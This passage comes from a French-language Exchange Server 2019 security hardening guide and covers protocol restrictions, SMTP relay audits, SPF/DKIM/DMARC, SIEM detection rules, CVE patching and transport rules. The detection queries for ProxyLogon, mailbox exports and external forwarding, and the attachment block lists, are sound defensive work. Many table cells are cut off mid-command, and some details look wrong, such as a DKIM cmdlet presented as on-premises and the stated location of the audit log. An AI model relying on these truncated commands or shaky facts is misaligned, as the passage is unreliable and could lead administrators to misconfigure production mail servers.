- JEA sur EMS peut nécessiter une refonte des outils de monitoring Exchange (ex : SCOM Exchange Management Pack) qui utilisent des cmdlets hors du subset JEA configuré.

Section S08 — Sécurité des Protocoles Clients (OWA / EWS / MAPI / EAS)

Contexte

Exchange 2019 expose plusieurs protocoles clients dont la surface d'attaque et les risques associés diffèrent significativement. La compréhension des vecteurs de chaque protocole est indispensable pour prioriser les contrôles :

Protocole	Port	Utilisé par	Surface d'attaque principale	Risque sans contrôle
OWA (HTTPS)	443	Navigateur web	ProxyLogon, brute force, session hijack	Accès webmail, ProxyLogon RCE
ECP (HTTPS)	443	Admins Exchange	ProxyLogon, brute force admin	Admin Exchange compromise
EWS (HTTPS)	443	Outlook, apps tiers	NTLMRelayX KC-01, exfiltration	Dump boîtes mail, règles redirection

Protocole	Port	Utilisé par	Surface d'attaque principale	Risque sans contrôle
MAPI/HTTP (HTTPS)	443	Outlook 2013+	NTLMRelayX KC-02	Accès complet Outlook
ActiveSync (HTTPS)	443	Mobiles, MDM	Brute force, devices non managés	Accès mobile non contrôlé
PowerShell (HTTPS)	443	Admins, scripts	ProxyShell, relay PS	RCE via desérialisation
Autodiscover (HTTPS)	443	Tous les clients	PrivExchange, KC-03	DCSync, compromission AD
SMTP (STARTTLS)	25, 587	MTA, clients mail	Relay ouvert, spam, spoofing	Réputation domaine, DMARC fail
IMAP/POP3	993/995	Clients legacy	Brute force, auth en clair	Accès boîte mail

Politique CAS (Client Access Server) — Restriction par protocole :

```
# Vérifier les protocoles activés par utilisateur (CAS Mailbox Settings)
Get-CASMailbox -Identity jdupont | Select
OWAEnabled,EWSEnabled,MAPIEnabled,ActiveSyncEnabled,PopEnabled,ImapEnabled,EwsAllowOutlook

# Désactiver IMAP/POP3 pour un utilisateur (et par défaut pour tous)
Get-CASMailbox -Filter {PopEnabled -eq $true} | Set-CASMailbox -PopEnabled $false
Get-CASMailbox -Filter {ImapEnabled -eq $true} | Set-CASMailbox -ImapEnabled $false

# Désactiver EWS pour les comptes de service (qui n'utilisent pas EWS)
$noEWSUsers = @('backupservice', 'monitoringservice', 'hrservice')
foreach ($user in $noEWSUsers) {
    Set-CASMailbox -Identity $user -EWSEnabled $false
    Write-Host "EWS désactivé pour : $user"
}

# Vérifier la politique EWS globale (Application Policy)
Get-OrganizationConfig | Select EwsApplicationAccessPolicy,EwsAllowList,EwsBlockList
```

Restriction d'accès ECP aux seules IPs admin :

```
<!-- Dans web.config de /ecp/ ou via IIS IP Restriction -->
<!-- IIS Manager → Default Web Site → ecp → IP Address and Domain Restrictions -->
<!-- Ajouter : Allow 10.0.100.0/24 (réseau admin) -->
<!-- Deny all autres -->

<!-- Via PowerShell (IIS) -->
Add-WebConfigurationProperty -pspath 'IIS:\Sites\Default Web Site\ecp' `
    -filter "system.webServer/security/ipSecurity" `
    -name "." `
    -value @{ipAddress="10.0.100.0";subnetMask="255.255.255.0";allowed="true"}
Set-WebConfigurationProperty -pspath 'IIS:\Sites\Default Web Site\ecp' `
    -filter "system.webServer/security/ipSecurity" `
    -name "allowUnlisted" -value "false"
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S08-C001	Restreindre l'accès ECP aux seules IPs d'administration via IIS IP Restriction	🔴 CRITIQUE	ProxyLogon attack vector, Exchange Admin Security	Test : `curl -sk https://mail.domain.com/ecp/` depuis IP externe → 403
EX-S08-C002	Désactiver EWS pour les utilisateurs n'ayant pas besoin d'accès programmatique à leur boîte	🟠 HAUTE	EWS Security, attack surface reduction	`Get-CASMailbox -Filter {EWSEnabled -eq $true} | Measure-Object` - nombre justifié
EX-S08-C003	Configurer une CAS Mailbox Policy restrictive par défaut (désactiver POP3, IMAP4, EWS si non utilisé)	🟠 HAUTE	Exchange CAS Policies, attack surface	`Get-CASMailboxPlan | Select *Enabled* | Format-List`
EX-S08-C004	Désactiver POP3 et IMAP4 si non utilisés (services Windows + CAS policy)	🟠 HAUTE	Exchange Legacy Protocol Security	`Get-Service *POP3*,*IMAP4* | Select Name,Status` → `Stopped` ; `Get-CASMailbox -Filter {PopEnabled -eq $true}` → vide
EX-S08-C005	Activer MFA sur OWA via ADFS Claims Rules ou Azure AD Conditional Access	🔴 CRITIQUE	NIS 2 Art.21 §2.j, MS MFA Docs	Test connexion OWA → challenge MFA apparaît (OTP, authenticator, FIDO2
EX-S08-C006	Implémenter des politiques d'accès conditionnel OWA (IP source, Device Compliance, Geo)	🟠 HAUTE	ADFS Claims Rules, Azure Conditional Access	Vérifier les ADFS Issuance Authorization Rules ou les Conditional Access P
EX-S08-C007	Configurer le timeout de session OWA adapté au contexte (workstation : ≤ 8h, public : ≤ 1h)	🟡 MOYENNE	Exchange OWA Security, NIST SP 800-63B	`Get-OwaVirtualDirectory | Select LogonPagePublicPrivateSelectionEnabled,ActivityBasedAuthentication`

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S08-C008	Désactiver OWA S/MIME control legacy (ActiveX) si non utilisé	🟡 MOYENNE	Exchange S/MIME Security	`Get-OwaVirtualDirectory | Select SMimeEnabled` → `False` si non util
EX-S08-C009	Implémenter des politiques MDM (Mobile Device Management) pour ActiveSync via Exchange Device Access Rules	🟠 HAUTE	Exchange MDM Docs, BYOD Policy	`Get-ActiveSyncOrganizationSettings | Select DefaultAccessLevel` - ou `Quarantine`
EX-S08-C010	Bloquer ActiveSync pour les appareils non chiffrés et non managés (Device Access Rules)	🟠 HAUTE	Exchange Device Compliance, RGPD Art.32	`Get-ActiveSyncDeviceAccessRule | Select Name,Characteristic,QueryString,AccessLevel`
EX-S08-C011	Vérifier que les URLs internes et externes Exchange sont correctement séparées et cohérentes	🟡 MOYENNE	Exchange URL Configuration, AutoD	`Get-ClientAccessService | Select AutoDiscoverServiceInternalUri,AutoDiscoverServiceExternalUri`
EX-S08-C012	Scanner régulièrement les VD Exchange avec un scanner de vulnérabilités (Tenable, Qualys) mensuel	🟠 HAUTE	Exchange Security Assessment	Résultats de scan mensuels dans le SIEM ou rapport de sécurité

Section S09 — Sécurité des Connecteurs SMTP et Transport

Contexte

Les connecteurs SMTP Exchange (Send Connectors, Receive Connectors) constituent une surface d'attaque critique souvent négligée. Un **Open Relay Exchange** (Receive Connector avec permission anonymous + 0.0.0.0/0) est une vulnérabilité critique qui permet à n'importe quel acteur sur Internet d'utiliser votre Exchange pour envoyer des emails de spam/phishing — entraînant le blacklistage de votre IP, l'échec des livraisons légitimes et une réputation email dégradée.

Permissions SMTP Exchange et risques associés :

```
# Audit complet des Receive Connectors et leurs risques
Get-ReceiveConnector -Server $env:COMPUTERNAME | ForEach-Object {
    $rc = $_
    $perms = Get-ReceiveConnectorPermission -Identity $rc.Identity

    $isPublic = $rc.Bindings -match '0.0.0.0:\d+'
    $allowsAny = $rc.RemoteIPRanges -contains '0.0.0.0-255.255.255.255'
    $isAnonymous = $perms | Where { $_.User -like '*Anonymous*' -and $_.Allow -eq $true }

    [PSCustomObject]@{
        Name          = $rc.Name
        Enabled       = $rc.Enabled
        Bindings      = $rc.Bindings -join ', '
        AuthMechanism = $rc.AuthMechanism -join ', '
        PermGroups    = $rc.PermissionGroups -join ', '
        RemoteIP      = if ($allowsAny) { "TOUS (0.0.0.0/0)" } else { $rc.RemoteIPRanges -join ', ' }
        Anonymous     = if ($isAnonymous) { "⚠️ OUI" } else { "OK" }
        OpenRelay     = if ($isAnonymous -and $allowsAny) { "🔴 OPEN RELAY DÉTECTÉ" } else { "OK" }
    }
} | Format-Table -AutoSize
```

SPF, DKIM, DMARC — Configuration complète :

```
# Vérifier SPF depuis PowerShell
Resolve-DnsName -Name corp.local -Type TXT | Where Strings -like 'v=spf1*'
# Attendu : "v=spf1 ip4:203.0.113.10 include:spf.protection.outlook.com -all"

# Vérifier DKIM signing (si configuré via DkimSigningConfig Exchange)
Get-DkimSigningConfig | Select Domain,Enabled,Selector1PublicKey | Format-List

# Vérifier DMARC
Resolve-DnsName -Name _dmarc.corp.local -Type TXT
# Attendu : "v=DMARC1; p=reject; rua=mailto:dmarc@corp.local; ruf=mailto:dmarc-forensic@corp.local; fo=1"

# Vérifier BIMI (Brand Indicators for Message Identification) si implémenté
Resolve-DnsName -Name default._bimi.corp.local -Type TXT
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S09-C001	Vérifier l'absence de Receive Connector open relay (RemoteIPRanges=0.0.0.0/0 ET Anonymous permissions)	🔴 CRITIQUE	Exchange Transport Security, RFC 2821 §7.1	`Get-ReceiveConnector | Where {$_.PermissionGroups -like '*Anonymous*' -and ($_.RemoteIPRanges -contains '0.0.0.0-255.255.255.255')}` → vide	Supprimer les Anonymous ou RemoteIPRang légitimes
EX-S09-C002	Restreindre les Receive Connectors d'application (relay interne apps) aux seules IPs source autorisées	🔴 CRITIQUE	Exchange Application Relay Security	`Get-ReceiveConnector | Where Name -like '*App*' -or Name -like '*Relay*' | Select Name,RemoteIPRanges`	`Set-ReceiveC 'AppRelay' -RemoteIPRang '10.0.50.10',`
EX-S09-C003	Activer SPF (Sender Policy Framework) pour tous les domaines envoyant depuis Exchange	🔴 CRITIQUE	RFC 7208, Email Authentication	`Resolve-DnsName -Name corp.local -Type TXT | Where Strings -like 'v=spf1*'` → résultat avec `-all`	Créer enregistr TXT : `v=spf1` `Exchange> inc sources> -all`
EX-S09-C004	Configurer DKIM signing sur les connecteurs Send Exchange (via DkimSigningConfig ou solution DKIM proxy)	🟠 HAUTE	RFC 6376, Email Authentication	`Get-DkimSigningConfig -Identity corp.local | Select Enabled,Selector1PublicKey` → `Enabled=True`	`Enable-DkimS -DomainName c` publier les clés DNS

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S09-C005	Configurer DMARC en mode p=reject après validation SPF et DKIM en mode p=none → p=quarantine → p=reject	🟠 HAUTE	RFC 7489, DMARC Best Practices	`Resolve-DnsName _dmarc.corp.local -Type TXT | Select Strings` → `p=reject` en production	Transition : `p=` (monitoring) → `p=quarantine` `p=reject` (pro délai minimum étape
EX-S09-C006	Activer les filtres anti-spam Exchange (Content Filter Agent, Sender Reputation Agent, Connection Filter Agent)	🟠 HAUTE	Exchange Anti-Spam Docs	`Get-ContentFilterConfig | Select Enabled` ; `Get-TransportAgent | Where Enabled`	`Enable-ContentFilter` `Enable-SenderReputat` `Enable-ConnectionFil`
EX-S09-C007	Configurer SMTP TLS requis pour les Send Connectors vers des domaines partenaires critiques	🟠 HAUTE	RFC 3207, Exchange Transport TLS	`Get-SendConnector | Select Name,TlsDomain,TlsAuthLevel,RequireTLS`	`Set-SendConn` `'Internet' -R` `$true -TlsAut` `CertificateVa` pour partenair
EX-S09-C008	Désactiver les Receive Connectors non utilisés (réduire la surface d'écoute SMTP)	🟡 MOYENNE	Exchange Hardening, Attack Surface Reduction	`Get-ReceiveConnector | Where Enabled -eq $true | Select Name,Bindings,Purpose` → liste et justification	`Disable-Rece` `'ConnecteurOb`
EX-S09-C009	Activer le Protocol Logging (Verbose) sur tous les Receive Connectors exposés à Internet	🟠 HAUTE	Exchange Transport Logging	`Get-ReceiveConnector | Select Name,ProtocolLoggingLevel` → `Verbose` sur connecteurs Internet	`Get-ReceiveC` `-Server $srv` `{$_.Bindings` `':25$'} | Se` `ReceiveConnec` `-ProtocolLogg` `Verbose`
EX-S09-C010	Configurer MTA-STS et SMTP DANE pour le domaine principal (protection anti-downgrade SMTP)	🟡 MOYENNE	RFC 8461 (MTA-STS), RFC 7672 (SMTP DANE)	`Resolve-DnsName _mta-sts.corp.local -Type TXT` → présent ; `Resolve-DnsName _smtp._tls.corp.local -Type TXT` → TLSA	Déployer fichie STS sur HTTPS enregistremen

Section S10 — Journalisation, Audit et SIEM

Contexte

La détection des attaques contre Exchange (NTLM relay, ProxyLogon, brute force OWA, export de boîtes mail, règles de redirection malveillantes) repose entièrement sur une journalisation correctement configurée et centralisée dans un SIEM. Exchange génère plusieurs types de logs complémentaires :

Source de Logs	Emplacement	Événements Clés	Rétention Recommandée
IIS Access Logs (W3C)	`C:\inetpub\logs\LogFiles\W3SVC1\`	Requêtes HTTP vers tous VD Exchange	90 jours local, 12 mois SIEM

Source de Logs	Emplacement	Événements Clés	Rétention Recommandée
Exchange Admin Audit Log	Boîte mail système `DiscoverySearchMailbox`	Cmdlets PowerShell Exchange (New-MailboxExportRequest, etc.)	90 jours (configurable jusqu'à 24 mois)
Message Tracking Log	`C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\Logs\MessageTracking\`	Entrée/sortie/delivery de chaque email	30 jours par défaut, recommandé 90 jours
Protocol Logs SMTP	`C:\...Logs\Hub\` et `C:\...Logs\FrontEnd\`	Transactions SMTP complètes	30 jours par défaut, recommandé 90 jours
Windows Security Event Log	`C:\Windows\System32\winevt\Logs\Security.evtx`	Authentifications, privilèges, account management	12 mois via SIEM
Windows Application Event Log	`C:\Windows\System32\winevt\Logs\Application.evtx`	Exchange runtime errors, crashes	90 jours
Mailbox Audit Log	Base de données Exchange (par boîte)	Accès, déplacement, suppression de messages	90 jours (activé par défaut Exchange 2019)

Règles de détection SIEM prioritaires pour Exchange :

```
-- Splunk : détection ProxyLogon (patterns URL suspects sur /owa/auth/)
index=iis_exchange sourcetype=iis
    (cs_uri_stem="/owa/auth/x.js" OR cs_uri_stem LIKE "%autodiscover.json%")
    cs_method=POST sc_status=200
| stats count by c_ip, cs_uri_stem, time
| where count > 5
| table time c_ip cs_uri_stem count

-- Splunk : détection export de boîtes mail (Admin Audit Log)
index=exchange_audit sourcetype=exchange_audit_log
    cmdlet_name="New-MailboxExportRequest"
| table _time, caller, target_object, cmdlet_parameters
| alert if count > 0

-- Splunk : détection règles de redirection externe
index=exchange_audit sourcetype=exchange_audit_log
    cmdlet_name IN ("New-InboxRule","Set-InboxRule")
    (cmdlet_parameters="*ForwardTo*" OR cmdlet_parameters="*RedirectTo*")
| rex field=cmdlet_parameters "(?:ForwardTo|RedirectTo).*?@(?P<ext_domain>[^'\"]+)"
| where NOT match(ext_domain, "corp\.local|yourdomain\.com")
| alert if count > 0

-- Splunk : brute force OWA (> 50 échecs auth en 5 minutes)
index=iis_exchange sourcetype=iis cs_uri_stem="/owa/auth.owa"
    sc_status IN (401, 403)
| bucket _time span=5m
| stats count by _time, c_ip
| where count > 50
| table _time, c_ip, count
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédi
EX-S10-C001	Activer l'Admin Audit Log Exchange (toutes cmdlets, rétention ≥ 90 jours)	🔴 CRITIQUE	Exchange Audit Logging Docs	`Get-AdminAuditLogConfig | Select AdminAuditLogEnabled,AdminAuditLogAgeLimit` → `True, ≥90 days`	`Set-Adm -AdminAu $true -AdminAu 90.00:00 -AdminAu`
EX-S10-C002	Activer le Message Tracking Log (rétention ≥ 90 jours, tous serveurs Exchange)	🟠 HAUTE	Exchange Message Tracking	`Get-TransportService | Select MessageTrackingLogEnabled,MessageTrackingLogMaxAge` → `True, ≥90 days`	`Set-Tra -Message $true -Message 90.00:00`
EX-S10-C003	Activer les IIS Access Logs W3C avec champs étendus sur tous les VD Exchange	🔴 CRITIQUE	IIS Logging, ProxyLogon IOC detection	IIS Manager → Default Web Site → Logging → W3C, avec champs : cs-uri-query, cs(User-Agent), cs(Referer), sc-substatus	Activer d champs logging
EX-S10-C004	Centraliser les logs Exchange vers un SIEM (Splunk, Elastic, Microsoft Sentinel) via agent (Winlogbeat/ NXLog)	🔴 CRITIQUE	MITRE ATT&CK Detection, NIS 2 Art.21	Vérifier agent SIEM actif sur Exchange : `Get-Service *beats*,*NXLog*,*MMA*` → Running	Déployer NXLog av Exchang
EX-S10-C005	Créer règle SIEM pour détecter les patterns ProxyLogon (POST sur /owa/auth/ ou autodiscover.json depuis IPs externes)	🔴 CRITIQUE	ProxyLogon IOC (MSTIC, CISA)	Vérifier règle active dans le SIEM + résultat de test (simulation)	Impléme Sentinel ProxyLog
EX-S10-C006	Créer règle SIEM pour détecter les exports de boîtes mail (New-MailboxExportRequest) avec alerte immédiate	🔴 CRITIQUE	MITRE ATT&CK T1114.002, RGPD Art.32	Vérifier règle SIEM sur Admin Audit Log : cmdlet New-MailboxExportRequest	Alerte en vers RSS automati boîtes/he
EX-S10-C007	Créer règle SIEM pour détecter les règles de redirection mail externe suspectes (New-InboxRule avec ForwardTo externe)	🔴 CRITIQUE	MITRE ATT&CK T1114.003, Business Email Compromise	Vérifier règle SIEM sur Admin Audit Log + Mailbox Audit Log	Alerte im désactiva de la règ domaine autorisé
EX-S10-C008	Monitorer les Event IDs Windows critiques sur Exchange (4624, 4625, 4648, 4672, 4776, 4769, 7045)	🟠 HAUTE	Windows Security Events Guide	Vérifier collecte de ces Event IDs dans le SIEM	Configur Event Fo SIEM
EX-S10-C009	Activer le Protocol Logging Verbose sur les Receive Connectors exposés à Internet	🟠 HAUTE	Exchange Transport Logging	`Get-ReceiveConnector -Server $srv | Select Name,ProtocolLoggingLevel` → `Verbose` sur connecteurs :25	`Set-Rec 'Default -Protoco Verbose`

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédi
EX-S10-C010	Monitorer les accès EWS programmatiques anormaux (volume > 100 req/min par IP, user-agent non standard)	🟠 HAUTE	EWS Security Monitoring, MITRE ATT&CK T1114	Règle SIEM IIS : `cs_uri_stem LIKE '/EWS/%' AND count/5min > 100 per c_ip`	Rate limi + alerte
EX-S10-C011	Conserver les logs Exchange 12 mois minimum en SIEM (NIS 2 Art.21, RGPD Art.32)	🟠 HAUTE	NIS 2 Art.21 §2.b, RGPD Art.32 §1.d	Vérifier la politique de rétention SIEM : `GET /api/config/retention` ou équivalent selon SIEM	Configur à 365 jou les sourc
EX-S10-C012	Tester la détection SIEM avec une simulation d'attaque Exchange (purple team — ntlmrelayx + export mail en staging)	🟠 HAUTE	Purple Team, SIEM Validation	Résultats de simulation trimestrielle : alertes déclenchées correctement ?	Organise Exchang scénario ProxyLog

Effets de Bord — Logging

- Les IIS Access Logs Exchange peuvent atteindre **10-50 GB/jour** sur des environnements avec 500+ utilisateurs — dimensionner le stockage SIEM en conséquence (souvent 100-500 GB/jour avec tous les logs).
- L'Admin Audit Log Exchange est stocké dans une boîte mail système (`DiscoverySearchMailbox`) — vérifier régulièrement la taille de cette boîte et sa disponibilité (elle peut être pleine si la rétention est longue).
- Le Protocol Logging verbose génère des fichiers volumineux (~500MB/jour/connecteur sur un serveur chargé) — configurer la rotation automatique des logs et un seuil d'alerte sur l'espace disque.

Section S11 — Patching et CVE Critiques Exchange

Contexte

Exchange Server est l'une des applications Microsoft les plus ciblées par les vulnérabilités critiques. Les trois familles majeures de 2021-2024 ont toutes été exploitées **in-the-wild avant ou immédiatement après publication du patch**, par des acteurs étatiques (APT10, HAFNIUM) et des groupes ransomware (LockBit, Cl0p). Le maintien en version CU+SU courant est non négociable.

Chronologie des incidents Exchange majeurs :

```
Mars 2021    : ProxyLogon (CVE-2021-26855 à -27065) — HAFNIUM APT, > 250 000 serveurs compromis mondialement
Juillet 2021 : ProxyShell (CVE-2021-34473, -34523, -31207) — groupes ransomware (Conti, BlackMatter)
Août 2021    : ProxyShell exploits massifs — > 1 900 serveurs compromis en 48h après PoC public
Nov. 2022    : ProxyNotShell (CVE-2022-41040, -41082) — exploité 0-day avant patch
Déc. 2022    : OWASSRF (CVE-2022-41082) — variant ProxyNotShell via OWA
Jan. 2023    : Play ransomware via OWASSRF — bypass de la mitigation URL Rewrite
Fév. 2024    : CVE-2024-21410 — NTLM relay spécifique Exchange (bypass EPA pré-CU14)
```

CVE Critiques Exchange 2019 — Table de Référence Complète :

CVE	Famille	CVSS	Type	Patch	Exploité in-the-wild
CVE-2021-26855	ProxyLogon	9.8	SSRF pre-auth → auth bypass	Mars 2021 KB5000871	Oui (HAFNIUM, APT27)

CVE	Famille	CVSS	Type	Patch	Exploité in-the-wild
CVE-2021-26857	ProxyLogon	7.8	Insecure deserialization → SYSTEM	Mars 2021	Oui
CVE-2021-26858	ProxyLogon	7.8	Post-auth arbitrary file write	Mars 2021	Oui
CVE-2021-27065	ProxyLogon	7.8	Post-auth arbitrary file write	Mars 2021	Oui
CVE-2021-34473	ProxyShell	9.1	ACL bypass → SSRF → auth bypass	Juil. 2021 KB5004779	Oui (ransomware)
CVE-2021-34523	ProxyShell	9.0	EWS privilege escalation	Juil. 2021	Oui
CVE-2021-31207	ProxyShell	7.2	Post-auth arbitrary file write	Mai 2021	Oui
CVE-2022-41040	ProxyNotShell	8.8	SSRF (auth required)	Nov. 2022 KB5019758	Oui (APT, ransomware)
CVE-2022-41082	ProxyNotShell	8.8	PowerShell RCE (auth required)	Nov. 2022	Oui
CVE-2023-21529	Exchange RCE	8.8	Remote code execution	Fév. 2023	Non publié
CVE-2023-36745	Exchange RCE	8.0	Remote code execution	Sep. 2023	Non publié
CVE-2024-21410	NTLM relay	9.8	NTLM relay vers Exchange (EPA bypass)	Fév. 2024 + CU14	Oui (actif au moment du patch)

Procédure d'application des SU Exchange :

```
# Étape 1 : Vérifier le CU actuel et la compatibilité de la SU
Get-ExchangeServer | Select Name,AdminDisplayVersion
# La SU doit être compatible avec le CU installé — vérifier les prérequis MSRC

# Étape 2 : Mettre le serveur Exchange en mode maintenance (DAG)
# Avant de patcher dans un DAG :
Set-ServerComponentState EXCH01 -Component HubTransport -State Draining -Requester Maintenance
Redirect-Message -Server EXCH01 -Target EXCH02.corp.local
Suspend-ClusterNode -Name EXCH01 -ErrorAction SilentlyContinue
Set-MailboxServer EXCH01 -DatabaseCopyActivationDisabledAndMoveNow $true
Set-ServerComponentState EXCH01 -Component ServerWideOffline -State Inactive -Requester Maintenance

# Étape 3 : Appliquer la SU (format .msp ou .exe selon la SU)
# En tant qu'administrateur Exchange (pas Domain Admin) :
& ".\ExchangeUpdate.msp" /passive /norestart

# Étape 4 : Redémarrer et vérifier
Restart-Computer -Force
# Après redémarrage :
Get-HotFix -Id KB5035233  # Remplacer par le KB de la SU appliquée

# Étape 5 : Sortir du mode maintenance
Set-ServerComponentState EXCH01 -Component ServerWideOffline -State Active -Requester Maintenance
Resume-ClusterNode -Name EXCH01
Set-MailboxServer EXCH01 -DatabaseCopyActivationDisabledAndMoveNow $false
Set-ServerComponentState EXCH01 -Component HubTransport -State Active -Requester Maintenance

# Étape 6 : Vérifier la santé du DAG
Get-DatabaseAvailabilityGroup | Get-MailboxDatabaseCopyStatus | Select Name,Status,ContentIndexState
```

Contrôles

ID	Contrôle	Priorité	CVE / Source	Commande de Vérification	Procédur
EX-S11-C001	Vérifier que le patch ProxyLogon (CVE-2021-26855 à -27065) est appliqué — KB5000871 ou supérieur	🔴 CRITIQUE	CVE-2021-26855, MSRC, CISA AA21-062A	`Get-HotFix | Where {$_.HotFixID -ge 'KB5000871'}` ou vérifier `AdminDisplayVersion ≥ 15.2.858.x`	Appliquer 2021 en p si non fait
EX-S11-C002	Vérifier que le patch ProxyShell est appliqué (CVE-2021-34473, -34523, -31207) — KB5004779	🔴 CRITIQUE	CVE-2021-34473, MSRC	`Get-ExchangeServer | Select AdminDisplayVersion` → ≥ 15.2.986.x (CU11)	Appliquer 2021 (KB5
EX-S11-C003	Vérifier que le patch ProxyNotShell (CVE-2022-41040, -41082) est appliqué — KB5019758	🔴 CRITIQUE	CVE-2022-41040, MSRC, Exchange Team Blog	`Get-HotFix | Where HotFixID -eq 'KB5019758'` ou AdminDisplayVersion ≥ 15.2.1118.x	Appliquer 2022 ; sup Rewrite m encore act

ID	Contrôle	Priorité	CVE / Source	Commande de Vérification	Procédur
EX-S11-C004	Vérifier que CVE-2024-21410 (NTLM relay Exchange) est remédié via CU14 + SU février 2024	🔴 CRITIQUE	CVE-2024-21410, MSRC Fév. 2024	`Get-ExchangeServer | Select AdminDisplayVersion` → ≥ 15.2.1258.x (CU14)	Mise à niv + appliqu 2024 + ac
EX-S11-C005	Maintenir Exchange en dernière SU publiée (cycle mensuel MSRC — Patch Tuesday)	🔴 CRITIQUE	MSRC, Microsoft Exchange Roadmap	Comparer `AdminDisplayVersion` avec la dernière SU sur `https://msrc.microsoft.com/update-guide/`	Appliquer mensuelle jours suiva publicatio
EX-S11-C006	Implémenter un processus de test des SU Exchange en staging avant production (délai max 7 jours)	🟠 HAUTE	Change Management, Exchange Patching Best Practices	Vérifier existence d'un serveur Exchange lab/staging recevant les SU en premier	Déployer Exchange avec le mê prod
EX-S11-C007	S'abonner aux alertes MSRC Exchange (email + RSS + CISA KEV)	🟠 HAUTE	MSRC Notifications, CISA KEV	Abonnements actifs aux sources : MSRC RSS, CISA KEV Feed, Microsoft Exchange Tech Blog	S'abonner `msrc.micr` `update-gu` CISA KEV J
EX-S11-C008	Scanner Exchange mensuellement avec MSERT (Microsoft Safety Scanner) pour détecter les webshells et malwares	🟠 HAUTE	CISA Advisory, MS Exchange MSERT	Résultats MSERT du mois courant : `C:\Users\Admin\AppData\Local\Temp\MSERT_Result.txt`	Planifier M tâche plan mensuelle `f:y /q /e` `"%Exchang` `\Frontend`
EX-S11-C009	Vérifier l'intégrité des fichiers Exchange post-patch avec ExchangeAnalyzer ou SFC	🟡 MOYENNE	Exchange Post-Patch Validation	`.\ExchangeAnalyzer.ps1 -Server EXCH01` → analyser les warnings	Exécuter après cha comparer des binair avec les v référence
EX-S11-C010	Documenter l'historique complet des SU Exchange appliquées (CMDB : KB, date, serveur, testeur, validateur)	🟡 MOYENNE	Change Management, Audit NIS 2	Vérifier CMDB ou tableau de suivi Exchange : chaque SU tracée	Maintenir Excel/JIRA Exchange champs : date test prod, resp

Section S12 — Antiphishing et Antimalware Exchange

Contexte

Exchange Server 2019 intègre un moteur **Antimalware Exchange** (Exchange Malware Agent) qui scanne les pièces jointes en transit via le protocole de transport. Ce moteur est basé sur Windows Defender Antimalware Engine et se met à jour automatiquement via Windows Update. Il est complémentaire — et non substitut — des solutions d'antiphishing avancées.

Limites de l'antimalware Exchange natif : - Il scanne **les pièces jointes en transit SMTP** mais pas les emails dans les boîtes mail déjà livrés - Il ne décode pas les archives protégées par mot de passe - Il ne détermine pas la réputation des URLs dans le corps des emails - Il ne simule pas les pièces jointes dans un sandbox

Compléments recommandés : - **Microsoft Defender for Office 365 P1/P2** : Safe Links (réécriture URL), Safe Attachments (sandbox), Anti-phishing policies, Impersonation protection - **Solutions tierces** : Proofpoint, Mimecast, Barracuda (gateway SMTP avec sandbox)

Règles de transport Exchange — Protection critique :

```
# Règle de transport : bloquer les types de fichiers dangereux en PJ
New-TransportRule -Name 'Bloquer extensions dangereuses' `
  -AttachmentExtensionMatchesWords
'.exe','.vbs','.ps1','.bat','.cmd','.scr','.jar','.jse','.wsh','.wsf','.lnk','.js','.hta' `
  -RejectMessageReasonText 'Pièce jointe refusée pour raisons de sécurité' `
  -RejectMessageEnhancedStatusCode '5.7.1' `
  -StopRuleProcessing $true

# Règle de transport : bloquer les macros Office
New-TransportRule -Name 'Bloquer macros Office' `
  -AttachmentExtensionMatchesWords '.xlsm','.xltm','.xlam','.docm','.dotm','.pptm','.potm','.ppam','.xlsb' `
  -RejectMessageReasonText 'Fichier Office avec macros refusé' `
  -RejectMessageEnhancedStatusCode '5.7.1' `
  -StopRuleProcessing $true

# Règle de transport anti-spoofing : rejeter les emails From: interne venant de l'extérieur
New-TransportRule -Name 'Anti-Spoofing Domaine Interne' `
  -FromScope NotInOrganization `
  -SenderDomainIs 'corp.local','corp.com' `
  -RejectMessageReasonText 'Usurpation du domaine interne détectée' `
  -RejectMessageEnhancedStatusCode '5.7.1'

# Vérifier les règles de transport actives
Get-TransportRule | Select Name,State,Priority,Description | Sort Priority
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S12-C001	Activer et maintenir à jour l'Exchange Antimalware Agent	🔴 CRITIQUE	Exchange Antimalware Docs	`Get-TransportAgent 'Malware Agent' | Select Enabled,Priority` → `Enabled=True`	`& "$env:ExchangeInstallPa MalwareFilteringServer EXCH01`
EX-S12-C002	Configurer des règles de transport pour bloquer les extensions de fichiers dangereux (.exe, .ps1, .vbs, .hta)	🔴 CRITIQUE	Exchange Transport Rules, MITRE T1566	`Get-TransportRule | Where {$_.AttachmentExtensionMatchesWords -contains '.exe'}` → règle active	Créer les règles de transp contexte)

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S12-C003	Activer Safe Links (URL detonation et réécriture temps-réel) si Microsoft Defender for Office 365 P1/P2	🟠 HAUTE	Microsoft Defender for Office 365	Vérifier les Safe Links policies dans le Security Center `https://security.microsoft.com`	Créer une policy Safe Lin `SafeLinksPolicy -Name` `-EnableSafeLinksForEma` `-TrackClicks $true`
EX-S12-C004	Activer Safe Attachments (sandboxing des PJ) si Microsoft Defender for Office 365 disponible	🟠 HAUTE	Microsoft Defender for Office 365	Vérifier les Safe Attachments policies dans le Security Center	Créer une policy Safe Att `Block` ou `DynamicDeliv`
EX-S12-C005	Configurer des règles anti-spoofing (rejeter emails From: domaine interne depuis IP externe)	🔴 CRITIQUE	Exchange Anti-Spoofing, RFC 7489	`Get-TransportRule | Where Name -like '*Spoof*' -or Name -like '*Usurp*'` → règle active	Créer la règle de transpo contexte)
EX-S12-C006	Activer DMARC reporting (rua=mailto:) pour analyser les usurpations de domaine	🟠 HAUTE	RFC 7489 DMARC reporting	`Resolve-DnsName _dmarc.corp.local -Type TXT | Select Strings` → contient `rua=mailto:...`	Ajouter `rua=mailto:dmar` l'enregistrement DMARC analyseur DMARC
EX-S12-C007	Planifier des campagnes de simulation de phishing mensuelles (Attack Simulator ou KnowBe4)	🟠 HAUTE	MITRE ATT&CK T1566, NIS 2 Art.21 §2.g	Résultats des campagnes de simulation : taux de clic < 5% cible	Utiliser Microsoft Attack S Security Center ou une p
